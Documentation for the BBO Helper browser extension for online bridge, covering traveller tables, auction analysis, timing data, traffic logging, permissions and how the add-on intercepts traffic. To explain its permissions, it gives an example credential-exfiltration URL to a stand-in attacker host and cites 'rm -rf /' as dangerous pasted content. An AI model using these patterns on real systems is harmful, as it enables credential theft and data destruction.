By default the PBN files will be save to your Downloads folder; for example in C:\Users\username\Downloads on Windows 7-10. Firefox has a setting for where to save downloads that can be reached via ☰ (Firefox menu bar) → Settings → General (left side) → Files and Applications (section) → Downloads. If you change this to “Always ask you where to save files”, you can choose where to save PBN files.

The same considerations apply when saving BBO traffic and exporting timing information, advanced features that are described later.

BBO My Hands Traveller improvements

BBO Helper makes many improvements to traveller pages.

First, it adds the opening lead (Ld) and Auction columns as indicated below to the standard BBO traveller table. Rounds of the auction are separated by the pipe (|) symbol.

BBO Helper add Lead (Ld) and Auction columns to the standard BBO My Hands traveller table

A second copy of the table is included, but sorted by auction, with secondary sorting on the score column, and tertiary sorting on the opening lead. The following image shows part of the table from a different board. The uncontested 1♠ 2♠ sequence closed out the auction nine times. Second seat reopened with a double seven times with advancer bidding 3 in all cases, buying it there five times, and pushing the opponent to 3♠ twice.

Auction sorted traveller generated by BBO Helper

A contract frequency table is added to the top of the traveller.

Contracts are listed irrespective of the direction the pair played it and are ranked in order of decreasing frequency. A suffix like -NS means the contract was declared from both directions. A single seat suffix like -W means the contract was always declared by the indicated seat. The Cnt column lists the number of times the contract was played; the Pct column shows the percentage.

Contract frequency table added to the BBO My Hands traveller by BBO Helper

The Details column compactly displays additional information. If a contract was played from both seats, there will be N and S (or E and W) indications giving the breakdown. Here 3 was declared 33 times by North and 70 times by South. X and XX indications are included if the contract was doubled or redoubled. Then the frequency of overtricks and/or undertricks is shown, sorted from best to worst outcome for declarer. Finally the leads are shown, in order of decreasing frequency, and broken out separately by each side. If an indication is not followed by a (#) count, it occurred only once; for example the 4 and J were each led only once against 3-N.

The Shannon entropy is a measure of how diverse the results are. If all pairs play the same contract (irrespective of direction), the entropy will be zero. If two contracts are played the same number of times, the entropy is 1 bit. If only two contracts are played, but an unequal number of times, the entropy will be less than 1, reflecting our sense that we could guess the more frequent contract and be right more than half the time.

BBO Helper add a similar frequency table for the auctions, but sorts it by auction rather than frequency. The Shannon entropy for auctions will always be greater or equal to the Shannon entropy for contracts because multiple auctions can lead to the same contract.

Auction frequency table added to the BBO My Hands traveller by BBO Helper

By default the BBO Helper uses two color suit symbols for travallers. However, you can switch to four color suit symbols via the option “Use four color for the suits in the traveller display” in the full settings which can be reached via the Edit All Settings menu item. This may make it easier to distinguish between the club and spade symbols.

Principal Auction Variants

Finally, BBO Helper add a Principal Variants table that attempts to map out the most common ways in which the auction unfolded. Mathematically, it is a tree presented in tabular form. These can become complicated looking so let’s start with a simple example.

Simple auction principal variants table added to the BBO My Hands traveller by BBO Helper

The auction began 1NT 96% of the time, a total of 257 cases. The remaining 4% of the first seat actions are not shown because they are too infrequent. After the 1NT bid, 93% of the field passed out the hand (AP = All Pass). Even when the hand was not passed out, second seat usually passed (11 times). A handful of responders passed at which point fourth seat most often balanced with 2. Another handful of responders tried a Stayman bid and always received a 2 reply from opener.

When the principal variants eventually dribble into lots of separate lines, the various sequences are listed as text, separated by or and sequences that occur more than once are indicated by (#x), for example (3x) in the figure above after the 2N P 3♠ sequence.

Let’s look at a more complicated case. After two passes you’re up with ♠K 73 A6 ♣QJT96432, no one vulnerable. 4♣ was my reflex reaction... and yet, your side could have half the deck and it looks like a stinker hand where the opponents could innocently march into 4♠ if you let them, only to go down one when they take a losing finesse into your stiff ♠K. I tried 1♣ and had bad thoughts when they marched into 4♠ with the ♠A behind me and made an overtrick, still we wound up with 49% on the board.

What did the field do in third seat? Take a look (third column below). 1♣ was a minority action (16%) with 3♣ (41%) edging out 4♣ (37%). The 3♣ preempt didn't do much to keep the opponents out a major suit game. Nor did 4♣, though the opponents were occasionally driven to 5♠.

Typical auction principal variants table added to the BBO My Hands traveller by BBO Helper

Flagging of alerted call in the principal variations table with explanations for the Michaels cue bid call shown Starting with Version 1.2, BBO Helper flags calls that any player(s) have explained with a green triangle in the lower right corner of the call. Click on the call to see the explanation(s) provided. Click again on the call or the red X button to close the display. The partial screenshot at the right show the explanations provided for the Michaels cue bid of 2♣.

BBO Helper adds missing exclamation symbols to bare c, d, h, and s characters in the explanations on assumption they are meant to be suits, attempts to clean up common misspellings (e.g. for Cappelletti), and then sorts the explanations alphabetically. Repeated explanations are grouped with the count indicated in parentheses. In this example, “majors” was the given explanation eight times.

Sometimes one or more hints are provided. These are based on searching the explanations for keywords and key phrases that are likely to apply to a given call. For example, explanation(s) containing “Support” will provide an a hint for Support Double when the call is a Double but not otherwise where it likely just implies support for partner’s suit.

Some hints provide a link to an explanation of a convention or treatment which will open in a new tab when clicked. Some hints, such the one for the Michaels cue bid, are for the most common meaning of the bid. Others provide an explanation of why the call may have been made or required an explanation. For example, a “2+” explanation for a 1 bid, generates a hint that links to a page about Big Club systems.

Webpage title improvements

BBO Helper rewrites the title of some BBO webpages to be more informative. The title is the text that appears on a browser tab and which is also used as the default name when bookmarking a page.

For example, the title of a traveller is rewritten to include the board number, e.g. “Board 7”. For tournament boards, tournament name will also be included, for example as “Board 7 - 2021-08-16 ACBL Open-Pairs Mon 1:10 PM”. The more informative titles make it easier to find a tab if you have many tabs open. (Don’t ask how many tabs I have open, just don’t.) The title of standalone BBO Hand Viewer is modified in a similar fashion. If the standalone BBO Handviewer is launched from ACBL Live for Tournaments the title will be rewritten to something like “Board 9 - North American Online Bridge Championships, 0-1500 Pairs, Jul 25, 2021” based on the Event line in the commentary passed by ACBL Live.

The title of tournament results pages is changed from the unhelpful “Results” to the more helpful “Results for {tournament name}”, e.g. “Results for #24714 ACBL Open-Pairs Thu 1:10PM (18 Boards - MP)”.

Summary of Keyboard Shortcuts

Hot Key What it does
Alt+D Launch double dummy solver for current board in the BBO Handviewer or the History Pane of the BBO application in a new tab
Alt+H Toggle display of copy-and-paste aid for current board in the BBO Handviewer or the History Pane of the BBO application.
Alt+P Save current board in the BBO Handviewer or the History screen of the BBO application as PBN
Alt+N View player names at the table in the BBO application or the BBO Handviewer
Alt+R Refreshes the copy-and-paste aid with the currently selected board in the History screen of BBO application.
Alt+E Export timing and double dummy data
Alt+I Import timing and double dummy data
Alt+L Save BBO traffic as HTML

On a Mac, the Option key is the equivalent of the Alt key.

Timing details

Bidding and card play events are observed by the browser at a resolution of one millisecond though internet latencies render this resolution meaningless. Timing data is stored in units of 1/100 sec. This allows times to be efficiently stored in JavaScript UTF-16 strings, i.e. two bytes per time, up to 634 seconds, a really long break in tempo! Don’t you mean 655 sec? No, it is necessary to avoid the UTF-16 surrogate code points (now you are sorry you asked!), which are used to handle the diarrhea of Emoji, such that we always have a valid UTF-16 string, one that never gets mangled by the U+FFFD Unicode replacement character.

Times are displayed to the nearest tenth of a second if less than 9.5 seconds; otherwise they are rounded to the nearest second. Times longer than the maximum storable time are indicated with the infinity symbol (∞). This might occur at bidding and teaching tables where players may pause for a long discussion. Times included in PBN files are rounded to the nearest second because that seems to be what the PBN standard requires though I'm not entirely clear on this matter.

You must finish playing or kibitzing a hand for the timing to be recorded. If you arrive at the table midway through the hand, no timing information will be stored for bids and card plays that you did not observe. Internally the value of zero is reserved for this case. For this reason, 0.01 seconds is the small recordable time for an observed action. The HTML board display will not show times for actions where no timing information is available. PBN files will be written with zero for unobserved actions if the hand was partially observed. If no auction or card play timing information at all is available, the PBN file will not include the AuctionTimeTable and/or PlayTimeTable tables.

BBO Helper supports undos. If an undo is accepted, the time recorded for the call or play immediately after the undo is the time since the undo was accepted.

Exporting and importing timing data

You may export timing data to a JSON file using the Export Timing Data menu item. This also exports double dummy information and the related par scores and par contracts. Exported data can imported into BBO Helper on another computer via the Import Timing Data menu item. Imported data is merged, i.e. does not fully replace, with BBO Helper’s local storage.

Exchanging time data can be helpful for investigative purposes, for example if you think hesitations are being regularly fielded.

JSON is general format. If you try to import data from a JSON file that wasn't created by BBO Helper, the input file will be ignored.

Saving BBO client-server traffic

Traffic logging is primarily for the benefit of development.

BBO Helper logs the more relevant client server traffic and you can use the Save BBO Traffic menu item to save it as an HTML file and view it in a separate web browser tab if you are curious how BBO really works. Traffic is only stored in memory and is discarded when you close the BBO application tab or completely shutdown your browser.

Let’s review some Internet history. The earliest web pages only updated if the entire webpage was reloaded, either manually by the user or programmatically by the client-side JavaScript. This was very limiting. Soon Microsoft invented a protocol called AJAX whereby a webpage could make a request to a server without needing to reload the entire webpage, and everyone adopted it. This was better but still limiting because only the client could initiate an update. After many years of half-assed solutions, this problem was finally solved cleanly with a technology called WebSocket which allows the client and server to establish a permanent bidirectional connection. WebSocket was very good for news for game developers, including BBO, and did a lot to enable so-called Single Page Applications, where you load one webpage and never leave it.

BBO uses a mix of old and new technology. Some data is pulled at the request of the client via AJAX in manner known as a PHP request. Other traffic is passed through a websocket. This difference accounts for occasionally strange BBO behavior where something might be updated in one place on the screen but not immediately in another, as sometimes happens with the running score.

BBO Helper color codes the traffic. The old school PHP requests are colored purple and the responses are colored green (with a short purple bit at the start to indicate which PHP request is being responded to). PHP requests replace & with “ & ”, i.e. add spaces around each & to make it easier to view the parameters being passed. The websocket traffic is colored red for the client to server direction and blue for the server to client direction. Client to server messages begin with cs, e.g. cs_chat when you type into the chat window. The parameters are separated by 0x01, an unprintable character, that is instead shown as “ | ” for readability. Traffic from the server begins with <sc, e.g. <sc_chat for a chat message sent to you, and is always in formatted as XML.

The traffic display includes a sequence number (specific to BBO Helper), a timestamp (in local time), an offset time from the start of the log (in seconds, to mS resolution), and a delta between the message and the previous message.

Some of the traffic is very boring. For example, there are pings to monitor the connection quality and keepalives to make sure the websocket stays open. By default these are not logged. Also there are many “feed” messages used to update the number of players logged in and the number of table in play, the list of your friends when a friend logs in, update the tournament list, etc. These are also not logged by default. Finally, there is a big message that defines all the BBO messages for your language when you first login. This too is not logged by default. However, you can change these settings in the Traffic Logging (advanced) section in the full options.

By default, traffic logging is limited to 2000 KB (2 MB) of HTML in order to avoid consuming a lot of browser memory when a BBO application tab is left open for a long time. 2000 KB is enough logging to see to what happens during an 18 board session, including reviewing hands with partner afterwards. It's probably enough to log 50 or so hands of straight play. You can adjust this setting in the Options. Setting it to 0 allows unlimited logging.

Differences between Firefox and Chromium browsers

BBO Helper works almost the same on Firefox and Chromium based browser. This is a summary of the differences. These items are also noted in the discussion of the respective features.

Compatibility with other BBO related adds-ons

BBO Helper has proven compatible with John Goacher’s Bridge Solver add-on, as expected, based on limited testing. Initially there was a conflict with his BBO Extractor, but John has addressed it in BBO Extractor 1.4.2 which he published on January 3, 2022. Based on the general nature of how BBO Alert and BBO Visual Assist must work, I do not expect them to be compatible with BBO Helper. It is possible they could be made compatible by moving to a unified framework for intercepting BBO traffic much as Npcap allows multiple applications such as Wireshark to receive network traffic. Based on community interest and subject to licensing terms, I may try to make BBO Helper compatible with BBOalert or directly integrate BBOalert with BBO Helper.

Is BBO Helper safe?

Anyone using a web browser extension should consider whether it is safe.

BBO Helper is only active on BBO web pages. The extension’s manifest file (manifest.json) defines the websites the extension is active on or can communicate with. The browser displays the requested access to the user and enforces the access restrictions. If a future version of the extension require greater access, the browser will communicate the new permissions requested to the user for approval. The restrictions on BBO Helper prevent it from stealing your credentials when you log into a banking website or from otherwise altering your experience on websites unrelated to BBO. Furthermore, BBO Helper does not run on the BBO web page where you purchase BBO$. BBO Helper's limited role makes it inherently much safer than say an ad blocking extension, which by its nature needs permission to run on all websites.

BBO Helper has free reign on much of the BBO website. It could steal your BBO password. It could curse at the opponents in your name. It could login to BBO and play bridge when you are think you are logged out. It doesn't do any of these things, but it could. If you want to be sure, you can review the code—it is unobfuscated, reasonably well commented, and free of library dependencies (save for the short FileSaver.js code that I borrowed). If you know JavaScript and the web browser APIs, you can verify the security of the code.

Permissions requested

A browser add-on usually asks for a few permissions. These are presented to the user prior to the installation in a confirmation dialog. Here is a list of the permissions that BBO Helper asks for and an explanation for each.

site permissions

BBO Helper needs to access the following web pages because it is active on these pages:

*://www.bridgebase.com/v3/* (BBO application)
*://www.bridgebase.com/tools/handviewer.html* (BBO standalone Hand Viewer)
*://www.bridgebase.com/myhands/hands.php?username=* (BBO My Hands boards)
*://www.bridgebase.com/myhands/hands.php?traveller=* (BBO My Hands travellers)
*://webutil.bridgebase.com/v2/tview.php* (BBO Tournament Results)

BBO also needs to access these two sites:

https://webutil.bridgebase.com/ (BBO API interface)
https://dds.bridgewebs.com/bsol2/ (Bridge Solver Online)

The first website allows BBO Helper to convert a tournament hand identifier to a LIN string which contains the auction, card play, auction alerts/explanations, etc. Working with LIN strings is much cleaner than parsing information directly from the BBO webpage, i.e. from the Document Object Model (DOM). The second website hosts John Goacher’s Bridge Solver Online (BSOL), an online double dummy solver which BBO Helper uses to fetch the double dummy and par information. Great work, John.

BBO Helper isn't active on these pages, so why does it need to ask for access? Consider a scenario where BBO Helper observes your BBO password (which it can). How does it transmit this information from your computer to the attacker’s computer, what security professionals call data exfiltration? It might for example perform an image request like https://evilbox.com/­smiley.jpg­?bbouser=airglow­&password=nullandvoid over AJAX in the background, hidden from the user. While this appears to fetch a smiley face image, it also passes the username and password as URL parameters which can be recorded by the remote server.

other permissions

BBO Helper asks for the clipboardWrite, storage, unlimitedStorage, and activeTab permissions.

clipboardWrite is required in order for the board copy-and-paste aid to write HTML as plaintext to the clipboard. Writing to the clipboard is potentially dangerous because specially crafted contents (e.g. rm -rf /) might accidentally be pasted somewhere dangerous such as a command shell which has administrator / root privileges. System administrators generally know not to mix business and pleasure on the same box but ordinary users can get into trouble under unfortunate circumstances.

The HTML that BBO Helper writes to the clipboard as plaintext does not contain any “active” content, i.e. JavaScript.

storage allows the add-on to store data on the local computer, managed by the web browser. Each add-on has a separate storage area that is inaccessible to other add-ons. Add-on storage persists between browser sessions.

BBO Helper uses local storage to save your BBO Helper preferences, cache double dummy results, and record timing information. Caching the double dummy, par and par contract(s) allows BBO Helper to present the double dummy information immediately if you revisit a board, and it reduces the burden on John Goacher’s BSOL. There is nowhere except local storage for BBO Helper to store the auction and card play timing information, and it can not be retrieved from anywhere else later, so this is where it is stored.

Timing information can be exported from BBO Helper and imported into BBO Helper on another computer, where it will be merged with timing information already stored on the other computer. This is one way to share timing information if you would like to have another person examine hesitations on a large set of deals.

unlimitedStorage exempts BBO Helper from any default storage limitation. Currently Firefox does not impose a storage limitation but it may in the future, likely limiting storage use to 5 MB per add-on. BBO Helper is parsimonious about storage use. However, if you play thousand and thousands of hands on BBO, you may exceed the 5 MB limitation that might eventually be imposed.

Based on the size of the SQLite database where Firefox persists BBO Helper’s local storage items, it appears to require about 750 bytes per board to store the double dummy and timing information, including database overhead such as database indices. You would have to play about 7,000 boards to exceed the 5 MB limit which you could do in half a year at two 18 board VACB sessions per day, every day. And some fanatics play more than that.

BBO Helper timestamps each item stuffed in local storage. A future update will tell the user how much local storage is being used and allow removal of old items.

activeTab allows BBO Helper to learn certain information about the currently active tab, in particular the URL of the current tab. This is a much more restricted version of the expansive tabs permission which BBO Helper does not need and does not request.

Could BBO Helper mess up my BBO session?

I can’t make any guarantees. BBO Helper is independent of BBO and BBO could make changes to their software at any time that disrupt the functionality of BBO Helper, possibly in ways that are detrimental to the operation of BBO itself when BBO Helper is installed. However, BBO Helper does take preventative measures to avoid trouble.

It is unlikely that BBO will significantly modify the client-server protocol because it is already well fleshed out and quite sensible. If BBO makes a major overhaul to the BBO application they would probably change the trailing prefix from /v3/ to /v4/ which would deactivate BBO Helper until I made changes to the add-on manifest and released an update.

BBO Helper intercepts client-server traffic. For the most part traffic is not altered, the message is simply noted and acted on as appropriate by BBO Helper. Chat messages, alerts, and claims are sometimes altered, for example to insert suit symbols automatically. This is more risky. If something goes wrong and the message is not sent in a timely manner, the BBO client will think the connection has been lost and kick you off BBO. BBO Helper takes extra precautions in these situations, wrapping the appropriate code in try/catch blocks. For example, if the Auto Alert code fails, the call will be still be sent out, unalerted. BBO Helper is also careful to respect BBO message length limits on alerts and claims when rewriting messages, truncating the message appropriate even if some other part of the add-on generates a message that is too long.

If you have a problem and get kicked off BBO, you can disable BBO Helper, and log back into BBO where you will usually be able to resume your session. Please report such incidents. They will be addressed with high priority.

How Does BBO Helper work?

BBO is a single page application, as mentioned earlier. More specifically, it appears to be built on the Electron framework. This type of framework implements a model-view-controller (MVC) design pattern. The model abstractly represents the state of the application, e.g. which player is at each seat, the auction, who is declarer, the card play so far, etc. The views are what the user sees, e.g. a deal at some state of play, a chat window with some text in it, a History pane with results from previous hands. When the model is updated, the controller makes appropriate changes to each view.

So BBO Helper examines the model and acts accordingly? No! The model is probably not directly accessible as a global variable and the BBO JavaScript code that manipulates the model is obfuscated by Webpack. The obfuscated code is pretty horrible to look at. All the variable names are replaced by short unhelpful names and intuitive constructs like if (x === 0) { playSound() } get rewritten to things like x === 0 || p() which are functionally equivalent but more annoying to read.

BBO probably obfuscates their code in part to protect their intellectual property. But that aside, a big application like BBO has a lot of JavaScript to push down to each client. The packed JavaScript is significantly smaller which results in a faster startup experience for users.

In principle we can reverse engineer the obfuscation. Some details are not hard to work out. For example, it is clear that BBO makes use of jQuery, a very widely used JavaScript package. There are utilities to undo some aspects of obfuscation. But such reverse engineering is a big project and subject to disappointments. For example, a function might get packed as zp4() and later get packed as zn23(), defeating BBO Helper’s dependence on zp4().

Despite the obfuscated code, two things benefit BBO Helper. First, the BBO Document Object Model (DOM) is sensible and uses class and id names that are mostly understandable. Second, the client-server traffic is very readable. Take a look at this example:

<sc_card_played table_id="1419679" card="C4" />

Even if you are not a programmer, you can probably guess that this indicates the ♣4 was played. If I tell you that the leading <sc means the message was going from the server to the client, i.e. from BBO to you, then it would be clear that it was played by someone other than you. But whom? It doesn't say! It doesn't need to because the BBO client knows whose turn it is to play based on previous actions. If we could look at the BBO model, we would know too, but we can't. However, we also know the rules of bridge. BBO Helper observes the client-server traffic and builds up its own model. It also watches for exceptional messages such as <sc_undo>, the result of the opponents accepting an undo, and updates its own model appropriately.

BBO Helper’s inability to peek at, let alone modify, the BBO application’s model, accounts for certain behaviors of BBO Helper. For example, when an auto alert is issued, BBO Helper can not update the BBO application’s model to reflect that alert. It could choose to update the alert box “view” by directly modifying the DOM but that would be an abuse of the MVC paradigm that could lead to inconsistent behavior in the BBO application. So instead, BBO Helper displays a brief overlay announcing that the auto-alert has occurred.

As a general rule, BBO Helper strongly prefers to add its own elements to the DOM, e.g. the <div> elements that display the double dummy information in the History pane, rather than modify existing BBO application DOM elements. However, BBO Helper does add some event listeners to BBO application elements at little risk of side effects because modern browsers allow multiple event listeners to be added to any DOM element without conflict.

Broadly speaking, add-ons are in a separate programming context from the JavaScript code supplied by the main webpage such that there is no cross visibility of code or variables, only the DOM is shared. This is a beneficial isolation that can be breached in a limited manner by various browser APIs. For example, an ad-blocker add-on would likely use the webRequest API to examine outgoing requests, blocking those that pull down ads from known ad servers. This is fine for an ad-blocker which only needs to know the URL of the resource being fetched. But BBO Helper needs to view the contents of the data passed between the BBO client and BBO server. It does this by injecting JavaScript into the DOM so that the code shows up in the same code context as the BBO application JavaScript, breaching the isolation. This code overrides (extends in JavaScript parlance) the WebSocket and XMLHttpRequest classes so it can spy on traffic much like virus / anti-virus software, the difference being largely the color of your hat.

For the most part, BBO Helper merely examines traffic and tosses a copy of it “over the fence” to main add-on code via a DOM custom event, before passing it on to its normal destination. The main add-on code examines the traffic, tracks the application state, and updates its own additions to the DOM as appropriate. However, certain operations like chat window symbol substitution and auto alerts modify messages before sending them along. For performance reasons these operations are done directly on the same side of the fence as the interception code.

Operating on both sides of the fence complicates the BBO Helper code. For example, there is one pref structure to hold all the user preferences and it is always updated in the main add-on code. However, the injected code can not see this variable. It keeps its own copy which it updates from local storage when the main add-on code sends it a custom event telling it to do so. Similarly, the BBO application state is tracked on both sides of the fence but in less detail in the injected code which only needs to know the state of the auction to support auto alerts.

Sometimes BBO Helper needs to do something in response to a user action in the BBO application that does not necessarily generate Websocket or PHP traffic, perhaps because the data is already cached in the BBO client. For these scenarios the MutationObserver API is very helpful. For example, the double dummy functionality uses MutationObserver to be informed of board number changes in the History Pane resulting from the user clicking on a different board. Similarly it uses MutationObserver to wait for the creation of the <whos-online-screen> element when the People tab is selected for the first time, and then again to watch for people added to friends, hosts, stars, and enemies list, so that event listeners can be added for displaying real names.

A bit more about BBO for the curious

I don’t need to know everything about BBO to write BBO Helper but a decent understanding is helpful so I poked around.

The client application makes use of the jQuery, Angular + Zone.js, Hammer, and fingerprint.js frameworks / packages. Angular implements the MVC paradigm and makes animation easy, e.g. the playing cards that slide into position. Hammer implements touch gestures and is probably used for BBO application support on smartphones and tablets. Fingerprint.js attempts to uniquely identify browsers based on browser features. BBO probably uses it either for marketing purposes or cheating detection, i.e. as a means of detecting that BBO is being played from different accounts on the same web browser.

BBO uses nginx, a popular high performance web server and load balancer. Old school PHP is used for certain data lookups. Voice chat is supported by a Janus WebRTC Server.

Like many websites, BBO uses Google Analytics to track website traffic. It also uses several Google supplied fonts and one custom font. Most fonts size the suit symbols too small relative to the numbers and alphabet; the diamond symbol in particular is often quite small. Fred Gitelman appears to have directly modified a font file to address this issue.

There is no way to peer far into the BBO backend. We can infer that BBO uses a relational database that uses positive integers as primary keys, the sort of setup you would have with Oracle or MySQL. The numerical order of the primary keys suggests how some operations are performed—okay, I hear you falling asleep now.

Displaying BBO Helper over Zoom

If you are showing web pages modified by BBO Helper over Zoom, say for teaching purposes, it is recommended that you share your entire desktop over Zoom rather than just sharing a single browser window.

Edward Zuckerberg reported an issue with BBO Handviewer popup windows generated by clicking “Movie” links that I was able to confirm with him over a Zoom session. If only the browser window containing the BBO My Hands page is shared, we observed that either (1) the popup may not show up at all on audience Zoom sessions, or (2) it may appear, lose the top portion after a few seconds (looks like a repaint issue), and then lose its contents entirely when the mouse is moved in the popup window, for example to play through the board. Bizarrely, this only seems to happen when BBO Helper is installed.

I think this is fundamentally a Zoom issue. Arguably a browser popup Window should automatically be added to the list of Zoom shared windows if the Window triggering the popup is also shared. In practice it is not clear how Zoom handles these scenarios.

Known issues and limitations

Acknowledgments

As always, a big round of thanks to Bo Haglund and Soren Hein for developing DDS, a double dummy solver. It’s easy to program a double dummy solver; it’s hard to program a highly efficient one. So many bridge developers rely on DDS.

And thanks to John Goacher for his Bridge Solver Online (BSOL), a very nice web based interface. Naturally, it uses DDS to do the double dummy calculations.

It would be a real pain to make sure BBO Solver generated compliant Portable Bridge Notation (PBN) if Tis Veugen hadn’t written PBN Verifier. Thanks, Tis!

Pierluigi Sessolo provided the Italian translation.

And thanks to my beta testers: Selby Winkler, Bob Brobst, Steve Provol, and Kathy Byrne. Also Thorvald Aagaard (many issues) and Ewan McNay (Mac OS) for BBO Helper 1.3 testing.

Technical notes

A clipboard saga

Why is BBO Helper able to directly write a plaintext version of the HTML to clipboard but requires the user to press Ctrl+C for the regular copy from the Copy-and-Paste Aid?

It is not as easy as you might think for a web page or an add-on to write data to the system clipboard. For many years it was outright difficult and the specifics varied from one browser to another. This was partly because writing the clipboard is a potential security issue should a user paste malicious content in the wrong place at the wrong time. Several years ago this got straightened out. Add-ons have to request permission to write to the system clipboard, then it is simple using a standard clipboard web browser API, well at least if it is plaintext.

Believe it or not, placing an image or HTML on the system clipboard is still a W3C Working Draft in 2021. Chromium decided to implement the draft specification but Firefox has not. This is why it is necessary for Firefox users to manually copy via Ctrl+C the HTML selected via the button in the board copy-and-paste aid.

In all fairness, dropping HTML on the clipboard magnifies the security risks. However, browsers might distinguish between the simple formatting aspect of HTML (tables, font selection, size, color, weight, etc) and “active” HTML that includes or references executable JavaScript. It would be really nice if Firefox at least implemented shoving non-active HTML content to the system clipboard.

Emoji presentation headaches

I’m not fond of Emojis. And rather irritatingly, some applications make a point of converting symbols that have both a regular representation and an Emoji representation to the cutesy Emoji representation. Unfortunately this includes the suit symbols whose Emoji glyphs vary widely but almost always look poor for bridge. There are two Unicode selectors \uFE0E (text presentation selector) and \uFE0F (Emoji presentation selector) that can be supplied immediately after a regular Unicode character to make the intent clear. BBO Helper supplies the text presentation selectors.

Vugraph presentations

BBO Helper supports Vugraph events. Internally these are different from regular BBO events. The BBO handle for each player is set to the BBO handle used by the Vugraph presenter (e.g. vugraphzmz) and the seat label is given the player’s name, probably assigned by the presenter. BBO Helper attempts to look up the full name of each player for use with the board copy-and-paste aid. This does not always succeed because the player information is a free-form HTML document that the BBO webutil API can pull from multiple locations beyond the BBO website.